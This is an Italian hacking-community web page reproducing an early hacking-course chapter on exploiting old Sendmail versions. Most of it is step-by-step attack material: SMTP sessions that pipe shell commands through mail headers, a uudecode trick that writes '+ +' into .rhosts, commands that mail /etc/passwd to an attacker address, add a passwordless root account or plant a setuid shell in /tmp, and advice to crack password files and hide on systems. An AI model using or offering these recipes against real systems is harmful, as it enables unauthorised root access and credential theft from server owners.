Utenti Online:  | IP:  28/10/2002: Aggiornata la grafica del sito, by pCwArE ;))
Documentazione
Enciclopedia Lord Shinva
Guida protocollo TCP/IP

Security FAQ 1.0

RFC
Porte di connessione
Jargon file
E-zine

 

DISCLAIMER: Si ricorda che il Web Admin del sito ed il provider non si ritengono responsabili in nessun modo del cattivo utilizzo che chiunque dovesse fare di tutto il materiale contenuto nel sito. Lo scopo della Security Check Community è quello di condividere ed approfondire le conoscenze della comunità.

 

Votaci!!

Hacking/Documentazione
Enciclopedia Lord Shinva n.7
7. Invio e-mail 

TECNICHE AVANZATE: SENDMAIL
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sarete felici di sapere che questo e` l'ultimo volume sulle tecniche
fondamentali e gli exploit. Dal prossimo inizieremo con l'hacking vero e
proprio, e metteremo in pratica (con grande dolore da parte dei SysAdmin)
quello che faremo di volta in volta. Ovviamente mi aspettero` che ora che
avete abbastanza informazioni di base abbiate chiari concetti come server e
client, FakeMail, come fare piccole cose come trovare la versione di un
server, ecc. Se qualcosa non dovesse essere chiaro, non esitate a scrivermi
e ad esporre il problema. Cerchero` di rispondervi non appena avro` trovato
abbatanza tempo. NON chiedetemi qual'e` la password di un sito xxx o dove
trovare la versione pirata di un gioco. Siamo hackers, non pirati.

Qualcuno mi ha chiesto perche` sto scrivendo questa "enciclopedia".
Beh, forse perche` e` quello che ho sempre cercato e non ho mai trovato
quando volevo imparare l'hacking... e poi credo che sia molto piu` completa
di quei piccoli files sulle basi dell'hacking scritti da hackers, per
hackers. Ma quale sarebbe lo scopo? Se uno e` gia` hacker, non ha bisogno
di imparare le basi di quello che conosce gia`... okay, parentesi chiusa.

Quello che partira` dal prossimo volume sara` pertanto un vero e proprio
corso di hacking a puntate (con tanto di supporto via email), dedicato a
tutti coloro che mi hanno scritto e hanno creduto in questo progetto di
divulgazione, siano essi hackers o wannabe (futuri hackers, speriamo).

Iniziamo dunque questo ultimo volume sulle tecniche con una breve descrizione
del servizio di posta elettronica di Unix.

Il programma server che risponde a chi si collega alla porta SMTP (25) e`
chiamato Sendmail. Come abbiamo visto in un precedente volume, all'atto del
collegamento via Telnet avremo una risposta di questo genere:

220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT

(il numero di versione di un server lo troviamo anche sbirciando tra gli
headers delle emails che riceviamo quotidianamente).

I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la
versione del server SMTP. Mettiamo una volta per tutte in chiaro che SMTP e`
il nome del servizio (della porta 25) e Sendmail e` il nome del programma che
si occupa di gestire SMTP: in pratica Sendmail e` il server SMTP di Unix.

Dunque, perche` dovremmo voler conoscere il numero di versione di Sendmail?

Sendmail e` famoso tra gli hackers come il programma piu` "bacato" esistente.
Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche
quelle piu` nuove) hanno un qualche bug che un hacker puo` sfruttare per
guadagnare illecitamente accesso a un sistema.

E il bello e` il modo in cui lo si fa; non tramite una password o chissa`
cosa, ma dalla parte piu` "innocua" di un sistema informatico: la posta
elettronica!

Vogliamo vedere cosa si puo` fare con Sendmail? :)

1Iniziamo con le sottoversioni della 8.6 (piu` precisamente le 8.6.6 e 8.6.7).
Vogliamo una shell root? Niente di piu` facile: bastera` chiamare il
programma Sendmail con il parametro -d seguito da un numero molto grande,
come nel seguente esempio:

Sendmail -d3344556677

Se non avete un accesso diretto al server (e quindi state "lavorando" da
remoto) avrete bisogno di una shell per "chiamare" Sendmail.
Come ottenerla sara` oggetto dei prossimi volumi, ma se andate di fretta
potete sempre prendere un file passwd o shadow e crackarlo per avere accesso
shell. L'ideale sarebbe un account di quale Universita`...
Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per
eseguire il comando senza bisogno di shell interattiva.
Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia,
prima di mettere in pratica... ancora non sapete come nascondervi in un
sistema, quindi non abbiate fretta. Se proprio volete testare qualcosa,
procuratevi Linux (se non l'avete gia`), installatelo sul VOSTRO computer e
provate.

Per la cronaca, la sottoversione 8.6.9 non e` vulnerabile a quest'attacco, ma
anche qui si puo` avere una shell root, utilizzando un exploit che si trova
sui siti per hackers. Si tratta di un programmino in C (creato da Atreus).
Non lo includo perche` dalla versione 8.6.12 (compresa) in poi tale exploit
non funziona.

NOTA: la maggior parte dei problemi di sicurezza vengono fatti notare e molto
spesso anche risolti proprio dagli hackers. Se non ci fossero gli hackers
saremmo rimasti a versioni... preistoriche, dove bastava scrivere WIZ per
avere tutto un computer ai propri comandi. Un motivo in piu` per smettere di
prendersela con noi se si assume personale incapace di gestire seriamente un
sistema informatico, sia esso in rete o meno.

Ci sono molte altre versioni 8.x.x bacate, ma poiche` si tratta di piccoli
bug tutti diversi e` consigliabile cercare quello che interessa sul sito
di 8lgm (http://www.8lgm.org), che elenca tutti i bug e ne da` un hack
completo per ciascuno, o su L0pht (http://www.l0pht.com).

Unix assegna un livello utente (UID, cioe` User IDentifier) e un livello di
gruppo (GID, cioe` Group IDentifier) a ciascun utente.
Un UID pari a 0 e` (quasi sempre) un utente root.
Se ad esempio nel file passwd di un sito troviamo...

root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh

il primo numero (0) e` UID e il secondo (0) e` GID.

E` possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e
diventare root :) Supponiamo infatti di aver crackato la password di un
utente qualsiasi, ma di non riuscire ad accedere a root... come fare?
Utilizzando questo hack sul Sendmail. Bisognera` innanzitutto avere accesso
a una shell; molti utenti hanno una shell, anche se limitata, ma servira`
allo scopo. Se proprio non riuscite a procurarvene una, collegatevi a una
delle tantissime BBS via Telnet presenti su Internet. Esse sono quasi sempre
ad accesso gratuito e usano sistemi Unix, con tanto di shell per gli utenti.
Non sono shell root... ma sapremo accontentarci, dal momento che da una
shell ad accesso limitato si puo` arrivare a root.
Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno
intere liste di BBS Telnet. Dovete solo scegliere quella che preferite.

Dicevamo, come forzare UID a 0 ora che abbiamo una shell?
Digitando quanto segue:

% cat ~/.forward <-- noi
<-- noi
miosito.com miousername <-- noi
^D <-- noi (premere Ctrl-D)
% smail -bs -D ~root/.rhosts -v20 <-- noi
220 provider.com Sendmail x.x.x.x ready ecc... <-- server
expn root <-- noi
250 <-- server
quit <-- noi
% rsh -l root lamesite.com tcsh\ -i <-- noi
WARNING: no access to TTY (bad file number) <-- server
# id <-- noi
UID=0 GID=0 <-- server

Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il
nostro UID e il nostro GID sono uguali a 0... il che significa... beh, lo
avete capito =)

I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi;
basti pensare alla versione 5.64 che permette di sfruttare il programma
"decode" (uudecode) di Unix per "eliminare" l'accesso tramite password.
In pratica, inviando una FakeMail (con Telnet) di questo tipo:

HELO hacker.com
MAIL FROM: bin
RCPT TO: decode
DATA
begin 644 /usr/bin/.rhosts
$*R`K"@``
`
end
.
QUIT

sara` poi possibile utilizzare un client rlogin per collegarsi senza bisogno
di password. Ma come e` stato possibile? Quello che e` successo e` questo:
il file .rhosts di Unix contiene una lista di hostname e username ai quali
e` consentito l'accesso. Mettendo un + al posto di hostname e username si
consente l'accesso a chiunque, ed e` esattamente questo cio` che abbiamo
fatto: la linea dopo "begin 644..." non e` altro che tale comando (+ +)
codificato con il programma encode (uuencode). Inviando questa FakeMail a
decode (uudecode) quel codice verra` ritrasformato in "+ +" e scritto nel
file /usr/bin/.rhosts (vedi sopra).
Bastera` dunque procurarsi un client rlogin per accedere tranquillamente al
server...

La versione 5.65 di Sendmail (la successiva a quella appena vista, creata
per risolvere quel problema) e` ancora piu` pericolosa... ;)
Infatti basta inviare via Telnet i seguenti comandi:

HELO hackers.com
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
RCPT TO: prova
DATA
From: pirata@hackers.com
Return-Receipt-To: |nessuno

#!/bin/sh
COMANDI
.
QUIT

Al posto di "COMANDI" vanno inseriti uno o piu` comandi shell (su righe
separate), come ad esempio:

/bin/mail pirata@hackers.com < /etc/passwd

per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure:

echo prova::0:0::/:/bin/sh >> /etc/passwd

per aggiungere l'account "prova" (con accesso root, senza password, con shell
root e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due >>
anziche` uno solo). O ancora:

chmod 777 /etc/passwd

per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o:

cp /bin/sh /tmp/pirata
chmod 6777 /tmp/pirata

dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp
col nome di "pirata" (vi consiglio di cambiare questo nome :)
Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un
utente qualunque. Tale file non e` altro, come abbiamo visto, che la shell.
Quindi bastera` andare in /tmp ogniqualvolta vi servira` una shell root, e
digitare "pirata" per invocare la shell ed eseguire un qualsiasi comando.

Un altro hack famoso e` quello dell'attacco del pipe, funzionante su versione
5.56 (e altre). Funziona cosi`: si prepara una semplice FakeMail del tipo...

HELO hacker.com
MAIL FROM:<"|/bin/mail pirata@hackers.com < /etc/passwd">
RCPT TO:<"pirata@hotmail.com">
DATA
questa e` una prova...
.
QUIT

e, se il server e` vulnerabile, riceveremo il file /etc/passwd via e-mail.
Naturalmente si potra` usare qualsiasi comando dopo il pipe (il "|").


Partner

pCwArE
ZeroDay
Il tuo sito qui..
Il tuo sito qui..
Il tuo sito qui..

>Diventa Partner

Newsletter

A breve la Newsletter!!
Community
Forum
Chat

Statistiche

[contatore visite]

 

TORNA ALLA HOMEPAGE


Security Check™ Designed By http://www.pcware.tk